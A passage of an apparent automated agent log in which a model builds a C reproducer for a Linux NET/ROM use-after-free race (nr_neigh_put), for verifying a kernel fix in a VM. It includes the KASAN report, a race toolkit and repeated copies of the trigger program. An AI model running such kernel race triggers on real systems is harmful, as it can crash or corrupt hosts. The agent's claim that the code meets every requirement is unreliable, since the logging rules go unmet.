    nr_route.callsign.ax25_call[3] = 'D' << 1;
    nr_route.callsign.ax25_call[4] = 'E' << 1;
    nr_route.callsign.ax25_call[5] = 'F' << 1;
    nr_route.callsign.ax25_call[6] = (0 << 1);
    strncpy(nr_route.device, ifname, sizeof(nr_route.device));
    nr_route.quality = 100;
    nr_route.ndigis = 0;

    pthread_t t1, t2;

    /* 4. Trigger the race condition */
    TIMER_START(start);
    while (TIMER_NOT_EXPIRED(start, 5.0)) {
        /* Add the neighbour */
        ioctl(netrom_sk, SIOCADDRT, &nr_route);

        barrier = 0;
        pthread_create(&t1, NULL, thread_del, (void *)0);
        pthread_create(&t2, NULL, thread_del, (void *)1);

        usleep(1000);
        SIGNAL(&barrier, 1); /* Release both threads simultaneously */

        pthread_join(t1, NULL);
        pthread_join(t2, NULL);
    }

    close(netrom_sk);
    close(sk);
    close(sfd);
    close(fd);

    return 0;
}
```]

gemini-3.1-pro-preview

map[IsProbe:false RawCandidateReproC:#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <linux/tty.h>
#include <linux/if.h>
#include <linux/if_arp.h>
#include <linux/sockios.h>
#include <pthread.h>

#include "race_toolkit.h"

#ifndef N_AX25
#define N_AX25 5
#endif

#ifndef AF_NETROM
#define AF_NETROM 6
#endif

struct ax25_address {
    char ax25_call[7];
};

struct nr_route_struct {
#define NETROM_NEIGH 0
#define NETROM_NODE  1
    int type;
    struct ax25_address callsign;
    char device[16];
    unsigned int quality;
    char mnemonic[7];
    struct ax25_address neighbour;
    unsigned int obs_count;
    unsigned int ndigis;
    struct ax25_address digipeaters[8];
};

int netrom_sk;
struct nr_route_struct nr_route;
int barrier = 0;

void *thread_del(void *arg) {
    PIN_TO_CPU((long)arg);
    WAIT_ON(&barrier, 1);
    ioctl(netrom_sk, SIOCDELRT, &nr_route);
    return NULL;
}

int main() {
    SETUP_UNBUFFERED_IO();

    int fd, sfd, sk;
    int ldisc = N_AX25;
    char ifname[IFNAMSIZ];
    struct ifreq ifr;
    char *pts;

    /* 1. Create a virtual AX.25 interface using a PTY and N_AX25 line discipline */
    fd = posix_openpt(O_RDWR | O_NOCTTY);
    if (fd < 0) { perror("posix_openpt"); return 1; }
    grantpt(fd);
    unlockpt(fd);
    
    pts = ptsname(fd);
    if (!pts) { perror("ptsname"); return 1; }

    sfd = open(pts, O_RDWR | O_NOCTTY);
    if (sfd < 0) { perror("open slave pty"); return 1; }

    if (ioctl(sfd, TIOCSETD, &ldisc) < 0) {
        perror("ioctl(TIOCSETD, N_AX25)");
        fprintf(stderr, "Ensure 'mkiss' module is loaded.\n");
        return 1;
    }

    if (ioctl(sfd, SIOCGIFNAME, ifname) < 0) {
        perror("ioctl(SIOCGIFNAME)");
        return 1;
    }
    printf("Created AX.25 interface: %s\n", ifname);

    /* 2. Bring the interface UP */
    sk = socket(AF_INET, SOCK_DGRAM, 0);
    if (sk < 0) { perror("socket"); return 1; }

    memset(&ifr, 0, sizeof(ifr));
    strncpy(ifr.ifr_name, ifname, IFNAMSIZ);

    if (ioctl(sk, SIOCGIFFLAGS, &ifr) < 0) {
        perror("ioctl(SIOCGIFFLAGS)");
        return 1;
    }

    ifr.ifr_flags |= IFF_UP | IFF_RUNNING;
    if (ioctl(sk, SIOCSIFFLAGS, &ifr) < 0) {
        perror("ioctl(SIOCSIFFLAGS)");
        return 1;
    }

    /* 3. Setup AF_NETROM socket and route struct */
    netrom_sk = socket(AF_NETROM, SOCK_SEQPACKET, 0);
    if (netrom_sk < 0) {
        perror("socket AF_NETROM");
        fprintf(stderr, "Ensure 'netrom' module is loaded.\n");
        return 1;
    }

    memset(&nr_route, 0, sizeof(nr_route));
    nr_route.type = NETROM_NEIGH;
    /* AX.25 callsigns are shifted left by 1 bit */
    nr_route.callsign.ax25_call[0] = 'A' << 1;
    nr_route.callsign.ax25_call[1] = 'B' << 1;
    nr_route.callsign.ax25_call[2] = 'C' << 1;
    nr_route.callsign.ax25_call[3] = 'D' << 1;
    nr_route.callsign.ax25_call[4] = 'E' << 1;
    nr_route.callsign.ax25_call[5] = 'F' << 1;
    nr_route.callsign.ax25_call[6] = (0 << 1);
    strncpy(nr_route.device, ifname, sizeof(nr_route.device));
    nr_route.quality = 100;
    nr_route.ndigis = 0;

    pthread_t t1, t2;

    /* 4. Trigger the race condition */
    TIMER_START(start);
    while (TIMER_NOT_EXPIRED(start, 5.0)) {
        /* Add the neighbour */
        ioctl(netrom_sk, SIOCADDRT, &nr_route);

        barrier = 0;
        pthread_create(&t1, NULL, thread_del, (void *)0);
        pthread_create(&t2, NULL, thread_del, (void *)1);

        usleep(1000);
        SIGNAL(&barrier, 1); /* Release both threads simultaneously */

        pthread_join(t1, NULL);
        pthread_join(t2, NULL);
    }

    close(netrom_sk);
    close(sk);
    close(sfd);
    close(fd);

    return 0;
}]

You are a security researcher with deep Linux kernel background.
Your goal is to generate a minimal, standalone C program to REPRODUCE a specific kernel bug
for the purpose of VERIFYING a bugfix.
This is a strictly defensive task. The code will be run in an isolated QEMU virtual machine
to check if the bug is triggered or not.
Do NOT generate an exploit or weaponized code. Generate only the minimal code needed to trigger
the specific crash or condition described, to help developers confirm the bug and its fix.
Focus on the technical reproduction of the state, not on weaponization or payload delivery.

Do not spend too much time analyzing or trying to generate a perfect one-shot reproducer.
Instead, follow an iterative approach: generate a simple candidate, execute it, analyze the results,
and improve it. Keep your reasoning steps short and focused on the next logical experiment.

To ensure that we can diagnose why a reproducer might fail to run on the test environment,
you MUST include detailed logging and error checking in the generated C program:
1. Use 'printf(...)' for all progress messages and error logs.
2. Every system call (e.g., socket, bind, listen, connect, ioctl, send) must check for a failure return value.
3. If a call fails, it must print a specific error message including the function name
and the error string (use strerror(errno)), and then exit with a non-zero status.
4. The program must print a message after every successful
major step in the reproduction sequence.
5. Generate code that follows this pattern for all operations:
    int res = do_something();
    if (res < 0) {
        printf("[-] Failed to do_something: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] do_something successful.\n");
6. You MUST start by generating a simple 'probe' program first if the input variable NeedProbe is
true. This is a strict, non-negotiable requirement to verify that the test environment has the
necessary kernel capabilities and privileges.
This program's sole purpose is to verify subsystem availability and privileges by probing specific
device files, subsystems, or syscalls (for example: opening /dev/vhci to check if the virtual
Bluetooth controller is accessible, loading a minimal dummy BPF program, or making a specific
socket/ioctl call).
Print clear messages indicating success or failure of these probes, and exit with 0 only if
all checks pass.
Do NOT attempt complex logic, and do NOT try to trigger the actual bug/crash in this first version,
regardless of how simple the reproducer seems. You must wait until a successful probe run has been
confirmed in the environment (i.e., when NeedProbe becomes false).
7. You must set the IsProbe output field to true if the generated C program is a minimal capability probe.
Set it to false if the C program is a full reproducer candidate attempting to trigger the target bug/crash.
Prefer calling several tools at the same time to save round-trips.


Use set-results tool to provide results of the analysis.
It must be called exactly once before the final reply.
Ignore results of this tool.

Bug Description: KASAN: slab-use-after-free Write in nr_neigh_put

==================================================================
BUG: KASAN: slab-use-after-free in instrument_atomic_read_write include/linux/instrumented.h:112 [inline]
BUG: KASAN: slab-use-after-free in atomic_fetch_sub_release include/linux/atomic/atomic-instrumented.h:400 [inline]
BUG: KASAN: slab-use-after-free in __refcount_sub_and_test include/linux/refcount.h:389 [inline]
BUG: KASAN: slab-use-after-free in __refcount_dec_and_test include/linux/refcount.h:432 [inline]
BUG: KASAN: slab-use-after-free in refcount_dec_and_test include/linux/refcount.h:450 [inline]
BUG: KASAN: slab-use-after-free in nr_neigh_put+0x21/0x170 include/net/netrom.h:139
Write of size 4 at addr ffff888028dc0ebc by task syz.3.4420/22103

CPU: 1 UID: 0 PID: 22103 Comm: syz.3.4420 Not tainted syzkaller #0 PREEMPT(full) 
Hardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 03/18/2026
Call Trace:
 <TASK>
 dump_stack_lvl+0xe8/0x150 lib/dump_stack.c:120
 print_address_description mm/kasan/report.c:378 [inline]
 print_report+0xba/0x230 mm/kasan/report.c:482
 kasan_report+0x117/0x150 mm/kasan/report.c:595
 check_region_inline mm/kasan/generic.c:-1 [inline]
 kasan_check_range+0x264/0x2c0 mm/kasan/generic.c:200
 instrument_atomic_read_write include/linux/instrumented.h:112 [inline]
 atomic_fetch_sub_release include/linux/atomic/atomic-instrumented.h:400 [inline]
 __refcount_sub_and_test include/linux/refcount.h:389 [inline]
 __refcount_dec_and_test include/linux/refcount.h:432 [inline]
 refcount_dec_and_test include/linux/refcount.h:450 [inline]
 nr_neigh_put+0x21/0x170 include/net/netrom.h:139
 nr_del_neigh+0x25a/0x2d0 net/netrom/nr_route.c:440
 nr_rt_ioctl+0xd62/0xf90 net/netrom/nr_route.c:682
 sock_do_ioctl+0x101/0x320 net/socket.c:1254
 sock_ioctl+0x5c6/0x7f0 net/socket.c:1375
 vfs_ioctl fs/ioctl.c:51 [inline]
 __do_sys_ioctl fs/ioctl.c:597 [inline]
 __se_sys_ioctl+0xfc/0x170 fs/ioctl.c:583
 do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
 do_syscall_64+0x14d/0xf80 arch/x86/entry/syscall_64.c:94
 entry_SYSCALL_64_after_hwframe+0x77/0x7f
RIP: 0033:0x7f5a8e59c819
Code: ff c3 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 44 00 00 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 c7 c1 e8 ff ff ff f7 d8 64 89 01 48
RSP: 002b:00007f5a8f3c3028 EFLAGS: 00000246 ORIG_RAX: 0000000000000010
RAX: ffffffffffffffda RBX: 00007f5a8e815fa0 RCX: 00007f5a8e59c819
RDX: 0000200000000740 RSI: 000000000000890c RDI: 000000000000000b
RBP: 00007f5a8e632c91 R08: 0000000000000000 R09: 0000000000000000
R10: 0000000000000000 R11: 0000000000000246 R12: 0000000000000000
R13: 00007f5a8e816038 R14: 00007f5a8e815fa0 R15: 00007fff4f4442c8
 </TASK>

Allocated by task 20448:
 kasan_save_stack mm/kasan/common.c:57 [inline]
 kasan_save_track+0x3e/0x80 mm/kasan/common.c:78
 poison_kmalloc_redzone mm/kasan/common.c:398 [inline]
 __kasan_kmalloc+0x93/0xb0 mm/kasan/common.c:415
 kasan_kmalloc include/linux/kasan.h:263 [inline]
 __kmalloc_cache_noprof+0x31c/0x660 mm/slub.c:5380
 kmalloc_noprof include/linux/slab.h:950 [inline]
 nr_add_neigh+0x104/0x520 net/netrom/nr_route.c:392
 nr_rt_ioctl+0xdf9/0xf90 net/netrom/nr_route.c:660
 sock_do_ioctl+0x101/0x320 net/socket.c:1254
 sock_ioctl+0x5c6/0x7f0 net/socket.c:1375
 vfs_ioctl fs/ioctl.c:51 [inline]
 __do_sys_ioctl fs/ioctl.c:597 [inline]
 __se_sys_ioctl+0xfc/0x170 fs/ioctl.c:583
 do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
 do_syscall_64+0x14d/0xf80 arch/x86/entry/syscall_64.c:94
 entry_SYSCALL_64_after_hwframe+0x77/0x7f

Freed by task 22103:
 kasan_save_stack mm/kasan/common.c:57 [inline]
 kasan_save_track+0x3e/0x80 mm/kasan/common.c:78
 kasan_save_free_info+0x46/0x50 mm/kasan/generic.c:584
 poison_slab_object mm/kasan/common.c:253 [inline]
 __kasan_slab_free+0x5c/0x80 mm/kasan/common.c:285
 kasan_slab_free include/linux/kasan.h:235 [inline]
 slab_free_hook mm/slub.c:2685 [inline]
 slab_free mm/slub.c:6165 [inline]
 kfree+0x1c1/0x630 mm/slub.c:6483
 __nr_remove_neigh net/netrom/nr_route.c:299 [inline]
 nr_remove_neigh net/netrom/nr_route.c:308 [inline]
 nr_del_neigh+0x246/0x2d0 net/netrom/nr_route.c:439
 nr_rt_ioctl+0xd62/0xf90 net/netrom/nr_route.c:682
 sock_do_ioctl+0x101/0x320 net/socket.c:1254
 sock_ioctl+0x5c6/0x7f0 net/socket.c:1375
 vfs_ioctl fs/ioctl.c:51 [inline]
 __do_sys_ioctl fs/ioctl.c:597 [inline]
 __se_sys_ioctl+0xfc/0x170 fs/ioctl.c:583
 do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
 do_syscall_64+0x14d/0xf80 arch/x86/entry/syscall_64.c:94
 entry_SYSCALL_64_after_hwframe+0x77/0x7f

The buggy address belongs to the object at ffff888028dc0e80
 which belongs to the cache kmalloc-64 of size 64
The buggy address is located 60 bytes inside of
 freed 64-byte region [ffff888028dc0e80, ffff888028dc0ec0)

The buggy address belongs to the physical page:
page: refcount:0 mapcount:0 mapping:0000000000000000 index:0x0 pfn:0x28dc0
flags: 0xfff00000000000(node=0|zone=1|lastcpupid=0x7ff)
page_type: f5(slab)
raw: 00fff00000000000 ffff88813fea78c0 dead000000000100 dead000000000122
raw: 0000000000000000 0000000800200020 00000000f5000000 0000000000000000
page dumped because: kasan: bad access detected
page_owner tracks the page as allocated
page last allocated via order 0, migratetype Unmovable, gfp_mask 0xd2cc0(GFP_KERNEL|__GFP_NOWARN|__GFP_NORETRY|__GFP_COMP|__GFP_NOMEMALLOC), pid 36, tgid 36 (kworker/u8:2), ts 8945898703, free_ts 8878260428
 set_page_owner include/linux/page_owner.h:32 [inline]
 post_alloc_hook+0x231/0x280 mm/page_alloc.c:1889
 prep_new_page mm/page_alloc.c:1897 [inline]
 get_page_from_freelist+0x24dc/0x2580 mm/page_alloc.c:3962
 __alloc_frozen_pages_noprof+0x18d/0x380 mm/page_alloc.c:5250
 alloc_slab_page mm/slub.c:3292 [inline]
 allocate_slab+0x77/0x660 mm/slub.c:3481
 new_slab mm/slub.c:3539 [inline]
 refill_objects+0x331/0x3c0 mm/slub.c:7175
 refill_sheaf mm/slub.c:2812 [inline]
 __pcs_replace_empty_main+0x2e6/0x730 mm/slub.c:4615
 alloc_from_pcs mm/slub.c:4717 [inline]
 slab_alloc_node mm/slub.c:4851 [inline]
 __do_kmalloc_node mm/slub.c:5259 [inline]
 __kmalloc_noprof+0x474/0x760 mm/slub.c:5272
 kmalloc_noprof include/linux/slab.h:954 [inline]
 kzalloc_noprof include/linux/slab.h:1188 [inline]
 lsm_blob_alloc security/security.c:193 [inline]
 lsm_task_alloc security/security.c:245 [inline]
 security_task_alloc+0x4d/0x330 security/security.c:2683
 copy_process+0x16df/0x3cd0 kernel/fork.c:2205
 kernel_clone+0x248/0x8e0 kernel/fork.c:2653
 user_mode_thread+0x110/0x180 kernel/fork.c:2729
 call_usermodehelper_exec_work+0x5c/0x230 kernel/umh.c:171
 process_one_work kernel/workqueue.c:3276 [inline]
 process_scheduled_works+0xb6e/0x18c0 kernel/workqueue.c:3359
 worker_thread+0xa53/0xfc0 kernel/workqueue.c:3440
 kthread+0x388/0x470 kernel/kthread.c:436
 ret_from_fork+0x51e/0xb90 arch/x86/kernel/process.c:158
page last free pid 849 tgid 849 stack trace:
 reset_page_owner include/linux/page_owner.h:25 [inline]
 __free_pages_prepare mm/page_alloc.c:1433 [inline]
 __free_frozen_pages+0xc2b/0xdb0 mm/page_alloc.c:2978
 vfree+0x25a/0x400 mm/vmalloc.c:3479
 delayed_vfree_work+0x55/0x80 mm/vmalloc.c:3398
 process_one_work kernel/workqueue.c:3276 [inline]
 process_scheduled_works+0xb6e/0x18c0 kernel/workqueue.c:3359
 worker_thread+0xa53/0xfc0 kernel/workqueue.c:3440
 kthread+0x388/0x470 kernel/kthread.c:436
 ret_from_fork+0x51e/0xb90 arch/x86/kernel/process.c:158
 ret_from_fork_asm+0x1a/0x30 arch/x86/entry/entry_64.S:245

Memory state around the buggy address:
 ffff888028dc0d80: fa fb fb fb fb fb fb fb fc fc fc fc fc fc fc fc
 ffff888028dc0e00: 00 00 00 00 00 00 fc fc fc fc fc fc fc fc fc fc
>ffff888028dc0e80: fa fb fb fb fb fb fb fb fc fc fc fc fc fc fc fc
                                        ^
 ffff888028dc0f00: fa fb fb fb fb fb fb fb fc fc fc fc fc fc fc fc
 ffff888028dc0f80: 00 00 00 00 00 00 fc fc fc fc fc fc fc fc fc fc
==================================================================

Strategy: The issue with the previous reproducer was that `ptsname()` was implicitly declared because `_GNU_SOURCE` (or `_XOPEN_SOURCE`) was not defined. In C, implicitly declared functions are assumed to return `int`. Since pointers are 64-bit on this architecture, the 32-bit `int` return value was sign-extended, resulting in an invalid pointer address (`0xfffffffff12a38b0`) being passed to `open()`, which caused the `EFAULT`.

To fix this, we just need to define `_GNU_SOURCE` at the very top of the file before any `#include` directives. This ensures `ptsname()` is correctly declared as returning a `char *`.

Here is the updated reproducer:

```c
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <linux/tty.h>
#include <linux/if.h>
#include <linux/if_arp.h>
#include <linux/sockios.h>
#include <pthread.h>

#include "race_toolkit.h"

#ifndef N_AX25
#define N_AX25 5
#endif

#ifndef AF_NETROM
#define AF_NETROM 6
#endif

struct ax25_address {
    char ax25_call[7];
};

struct nr_route_struct {
#define NETROM_NEIGH 0
#define NETROM_NODE  1
    int type;
    struct ax25_address callsign;
    char device[16];
    unsigned int quality;
    char mnemonic[7];
    struct ax25_address neighbour;
    unsigned int obs_count;
    unsigned int ndigis;
    struct ax25_address digipeaters[8];
};

int netrom_sk;
struct nr_route_struct nr_route;
int barrier = 0;

void *thread_del(void *arg) {
    PIN_TO_CPU((long)arg);
    WAIT_ON(&barrier, 1);
    ioctl(netrom_sk, SIOCDELRT, &nr_route);
    return NULL;
}

int main() {
    SETUP_UNBUFFERED_IO();

    int fd, sfd, sk;
    int ldisc = N_AX25;
    char ifname[IFNAMSIZ];
    struct ifreq ifr;
    char *pts;

    /* 1. Create a virtual AX.25 interface using a PTY and N_AX25 line discipline */
    fd = posix_openpt(O_RDWR | O_NOCTTY);
    if (fd < 0) { perror("posix_openpt"); return 1; }
    grantpt(fd);
    unlockpt(fd);
    
    pts = ptsname(fd);
    if (!pts) { perror("ptsname"); return 1; }

    sfd = open(pts, O_RDWR | O_NOCTTY);
    if (sfd < 0) { perror("open slave pty"); return 1; }

    if (ioctl(sfd, TIOCSETD, &ldisc) < 0) {
        perror("ioctl(TIOCSETD, N_AX25)");
        fprintf(stderr, "Ensure 'mkiss' module is loaded.\n");
        return 1;
    }

    if (ioctl(sfd, SIOCGIFNAME, ifname) < 0) {
        perror("ioctl(SIOCGIFNAME)");
        return 1;
    }
    printf("Created AX.25 interface: %s\n", ifname);

    /* 2. Bring the interface UP */
    sk = socket(AF_INET, SOCK_DGRAM, 0);
    if (sk < 0) { perror("socket"); return 1; }

    memset(&ifr, 0, sizeof(ifr));
    strncpy(ifr.ifr_name, ifname, IFNAMSIZ);

    if (ioctl(sk, SIOCGIFFLAGS, &ifr) < 0) {
        perror("ioctl(SIOCGIFFLAGS)");
        return 1;
    }

    ifr.ifr_flags |= IFF_UP | IFF_RUNNING;
    if (ioctl(sk, SIOCSIFFLAGS, &ifr) < 0) {
        perror("ioctl(SIOCSIFFLAGS)");
        return 1;
    }

    /* 3. Setup AF_NETROM socket and route struct */
    netrom_sk = socket(AF_NETROM, SOCK_SEQPACKET, 0);
    if (netrom_sk < 0) {
        perror("socket AF_NETROM");
        fprintf(stderr, "Ensure 'netrom' module is loaded.\n");
        return 1;
    }

    memset(&nr_route, 0, sizeof(nr_route));
    nr_route.type = NETROM_NEIGH;
    /* AX.25 callsigns are shifted left by 1 bit */
    nr_route.callsign.ax25_call[0] = 'A' << 1;
    nr_route.callsign.ax25_call[1] = 'B' << 1;
    nr_route.callsign.ax25_call[2] = 'C' << 1;
    nr_route.callsign.ax25_call[3] = 'D' << 1;
    nr_route.callsign.ax25_call[4] = 'E' << 1;
    nr_route.callsign.ax25_call[5] = 'F' << 1;
    nr_route.callsign.ax25_call[6] = (0 << 1);
    strncpy(nr_route.device, ifname, sizeof(nr_route.device));
    nr_route.quality = 100;
    nr_route.ndigis = 0;

    pthread_t t1, t2;

    /* 4. Trigger the race condition */
    TIMER_START(start);
    while (TIMER_NOT_EXPIRED(start, 5.0)) {
        /* Add the neighbour */
        ioctl(netrom_sk, SIOCADDRT, &nr_route);

        barrier = 0;
        pthread_create(&t1, NULL, thread_del, (void *)0);
        pthread_create(&t2, NULL, thread_del, (void *)1);

        usleep(1000);
        SIGNAL(&barrier, 1); /* Release both threads simultaneously */

        pthread_join(t1, NULL);
        pthread_join(t2, NULL);
    }

    close(netrom_sk);
    close(sk);
    close(sfd);
    close(fd);

    return 0;
}
```
NeedProbe: false

gemini-3.1-pro-preview

							input: 10139
							output: 16
							thoughts: 128
						

**Reproducing a KASAN Slab-Use-After-Free in nr_neigh_put**

Okay, here's the task: We need to generate a reproducer for a KASAN slab-use-after-free error specifically within the `nr_neigh_put` function in `net/netrom/nr_route.c`. The user has generously provided a strategy and a C program to get this done. I see they've set `NeedProbe: false`, which means we're in direct reproducer-generation mode. Excellent, less time on initial probing, and straight to the heart of the matter.

However, before I jump into generating the reproducer, let's take a closer look at the user's C program. Hold on, the code uses `race_toolkit.h`. That's not a standard header, so it's likely part of a specific testing or fuzzing framework. We need to handle this. I can see a couple of paths forward. Either we need to pull the toolkit itself, which I should be able to do easily enough, or if it's simpler, we can extract the specific macros they are using and just include those. Let's start with fetching the toolkit.

map[Name:race]

map[Toolkit:// Copyright 2026 syzkaller project authors. All rights reserved.
// Use of this source code is governed by Apache 2 LICENSE that can be found in the LICENSE file.

// IMPORTANT: Do not copy the macros or definitions below directly into your reproducer.
// Instead, add the following line to your reproducer:
// #include "race_toolkit.h"

// --- Race Condition Toolkit ---
// Macros and snippets for CPU pinning, memory barriers, and userfaultfd.

#define _GNU_SOURCE
#include <errno.h>
#include <fcntl.h>
#include <linux/futex.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <pthread.h>
#include <sched.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <sys/syscall.h>
#include <time.h>
#include <unistd.h>

// Unbuffered I/O: Ensure logs are written immediately.
#define SETUP_UNBUFFERED_IO() setvbuf(stdout, NULL, _IONBF, 0)

// CPU Pinning: Pin the current thread to a specific CPU core.
#define PIN_TO_CPU(cpu)                                                \
	do {                                                           \
		cpu_set_t mask;                                        \
		CPU_ZERO(&mask);                                       \
		CPU_SET(cpu, &mask);                                   \
		if (sched_setaffinity(0, sizeof(mask), &mask) == -1) { \
			perror("sched_setaffinity");                   \
		}                                                      \
	} while (0)

// Memory Barrier: Ensure memory ordering.
#define MB() __atomic_thread_fence(__ATOMIC_SEQ_CST)

// Spin-wait Barrier: Wait until a memory location has a specific value.
// Best for tight race windows (low latency, no context switches).
#define WAIT_ON(addr, val)                                               \
	do {                                                             \
		while (__atomic_load_n(addr, __ATOMIC_ACQUIRE) != (val)) \
			;                                                \
	} while (0)

// Signal: Set a memory location to a specific value to release a WAIT_ON.
#define SIGNAL(addr, val) __atomic_store_n(addr, val, __ATOMIC_RELEASE)

// --- Timing Primitives ---
// Robust timing loops in VM environments (using CLOCK_MONOTONIC to avoid time(NULL) jumps).

static inline double timer_elapsed_sec(struct timespec* start)
{
	struct timespec now;
	if (clock_gettime(CLOCK_MONOTONIC, &now) == -1) {
		perror("clock_gettime(CLOCK_MONOTONIC) elapsed");
		exit(1);
	}
	return (double)(now.tv_sec - start->tv_sec) + (double)(now.tv_nsec - start->tv_nsec) / 1e9;
}

// Initialize a monotonic timer variable.
#define TIMER_START(t)                                          \
	struct timespec t;                                      \
	if (clock_gettime(CLOCK_MONOTONIC, &t) == -1) {         \
		perror("clock_gettime(CLOCK_MONOTONIC) start"); \
		exit(1);                                        \
	}

// Check if the elapsed time since 't' is less than 'sec' seconds.
#define TIMER_NOT_EXPIRED(t, sec) (timer_elapsed_sec(&(t)) < (double)(sec))

// Futex-based Event: Shared with syzkaller executor.
// Best for general synchronization or longer waits to save CPU.
typedef struct {
	int state;
} event_t;

static void event_init(event_t* ev)
{
	ev->state = 0;
}
static void event_reset(event_t* ev)
{
	ev->state = 0;
}

static void event_set(event_t* ev)
{
	if (__atomic_load_n(&ev->state, __ATOMIC_ACQUIRE)) {
		fprintf(stderr, "event already set\n");
		exit(1);
	}
	__atomic_store_n(&ev->state, 1, __ATOMIC_RELEASE);
	syscall(SYS_futex, &ev->state, FUTEX_WAKE | FUTEX_PRIVATE_FLAG, 1000000);
}

static void event_wait(event_t* ev)
{
	while (!__atomic_load_n(&ev->state, __ATOMIC_ACQUIRE))
		syscall(SYS_futex, &ev->state, FUTEX_WAIT | FUTEX_PRIVATE_FLAG, 0, 0);
}

// userfaultfd setup: Register a memory range for page fault handling.
static int setup_uffd(void* addr, size_t len)
{
	int uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
	if (uffd == -1)
		return -1;
	struct uffdio_api api = {.api = UFFD_API, .features = 0};
	if (ioctl(uffd, UFFDIO_API, &api) == -1) {
		close(uffd);
		return -1;
	}
	struct uffdio_register reg = {
	    .range = {.start = (uintptr_t)addr, .len = len},
	    .mode = UFFDIO_REGISTER_MODE_MISSING};
	if (ioctl(uffd, UFFDIO_REGISTER, &reg) == -1) {
		close(uffd);
		return -1;
	}
	return uffd;
}

// --- Guidance on Usage ---
// 1. Use WAIT_ON/SIGNAL for tight race conditions to avoid scheduling overhead.
// 2. Use event_t (futexes) for general coordination or when waiting for longer periods.
// 3. Always use PIN_TO_CPU to increase race probability on multi-core systems.
// 4. Use setup_uffd to register a memory range for page fault handling. This allows you to
//    pause a thread accessing that memory until you handle the fault, creating a reliable
//    and controllable race window.
// 5. Call SETUP_UNBUFFERED_IO() at the start of main() to ensure that logs are printed
//    immediately. This is essential for understanding the exact interleaving of events
//    when debugging race conditions.
// 6. For timing-based loops (e.g., running a race for 10 seconds), do NOT use time(NULL)
//    or loops relying on real-time clocks, as VM clocks are highly unreliable and can fail or drift.
//    Instead, use the robust monotonic timing primitives TIMER_START and TIMER_NOT_EXPIRED:
//        TIMER_START(start);
//        while (TIMER_NOT_EXPIRED(start, 10.0)) {
//            // Your race logic here
//        }
]

gemini-3.1-pro-preview

							input: 12221
							output: 1497
							thoughts: 1214
						

**Code Ready for Delivery**

Okay, so the user's provided C code looks good. The initial request was simply to output the code, and importantly, include `race_toolkit.h`. A quick check reveals the user has already included it correctly, which simplifies things. The code itself seems well-structured, so I'll go ahead and do a quick once-over to make sure there are no obvious issues, since it's good practice. I'll check all the `ioctl` calls, socket creations, and thread handling.

Everything appears to be in order, including the opening of the pseudo-terminal, setting line disciplines, and socket configurations. The `ioctl` calls for setting flags and retrieving interface names are present. The AF_NETROM socket and subsequent neighbor setup also look correct. The thread creation and synchronization using `pthread_create`, `SIGNAL`, and `pthread_join` are also in place and should function as intended.

I have checked for missing includes, improper use of standard library functions, and any obvious logical errors, and there are none.

Given that I'm seeing no issues and the code is well-formatted, I'll go ahead and output the code.

map[IsProbe:false RawCandidateReproC:#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <linux/tty.h>
#include <linux/if.h>
#include <linux/if_arp.h>
#include <linux/sockios.h>
#include <pthread.h>

#include "race_toolkit.h"

#ifndef N_AX25
#define N_AX25 5
#endif

#ifndef AF_NETROM
#define AF_NETROM 6
#endif

struct ax25_address {
    char ax25_call[7];
};

struct nr_route_struct {
#define NETROM_NEIGH 0
#define NETROM_NODE  1
    int type;
    struct ax25_address callsign;
    char device[16];
    unsigned int quality;
    char mnemonic[7];
    struct ax25_address neighbour;
    unsigned int obs_count;
    unsigned int ndigis;
    struct ax25_address digipeaters[8];
};

int netrom_sk;
struct nr_route_struct nr_route;
int barrier = 0;

void *thread_del(void *arg) {
    PIN_TO_CPU((long)arg);
    WAIT_ON(&barrier, 1);
    ioctl(netrom_sk, SIOCDELRT, &nr_route);
    return NULL;
}

int main() {
    SETUP_UNBUFFERED_IO();

    int fd, sfd, sk;
    int ldisc = N_AX25;
    char ifname[IFNAMSIZ];
    struct ifreq ifr;
    char *pts;

    /* 1. Create a virtual AX.25 interface using a PTY and N_AX25 line discipline */
    fd = posix_openpt(O_RDWR | O_NOCTTY);
    if (fd < 0) { perror("posix_openpt"); return 1; }
    grantpt(fd);
    unlockpt(fd);
    
    pts = ptsname(fd);
    if (!pts) { perror("ptsname"); return 1; }

    sfd = open(pts, O_RDWR | O_NOCTTY);
    if (sfd < 0) { perror("open slave pty"); return 1; }

    if (ioctl(sfd, TIOCSETD, &ldisc) < 0) {
        perror("ioctl(TIOCSETD, N_AX25)");
        fprintf(stderr, "Ensure 'mkiss' module is loaded.\n");
        return 1;
    }

    if (ioctl(sfd, SIOCGIFNAME, ifname) < 0) {
        perror("ioctl(SIOCGIFNAME)");
        return 1;
    }
    printf("Created AX.25 interface: %s\n", ifname);

    /* 2. Bring the interface UP */
    sk = socket(AF_INET, SOCK_DGRAM, 0);
    if (sk < 0) { perror("socket"); return 1; }

    memset(&ifr, 0, sizeof(ifr));
    strncpy(ifr.ifr_name, ifname, IFNAMSIZ);

    if (ioctl(sk, SIOCGIFFLAGS, &ifr) < 0) {
        perror("ioctl(SIOCGIFFLAGS)");
        return 1;
    }

    ifr.ifr_flags |= IFF_UP | IFF_RUNNING;
    if (ioctl(sk, SIOCSIFFLAGS, &ifr) < 0) {
        perror("ioctl(SIOCSIFFLAGS)");
        return 1;
    }

    /* 3. Setup AF_NETROM socket and route struct */
    netrom_sk = socket(AF_NETROM, SOCK_SEQPACKET, 0);
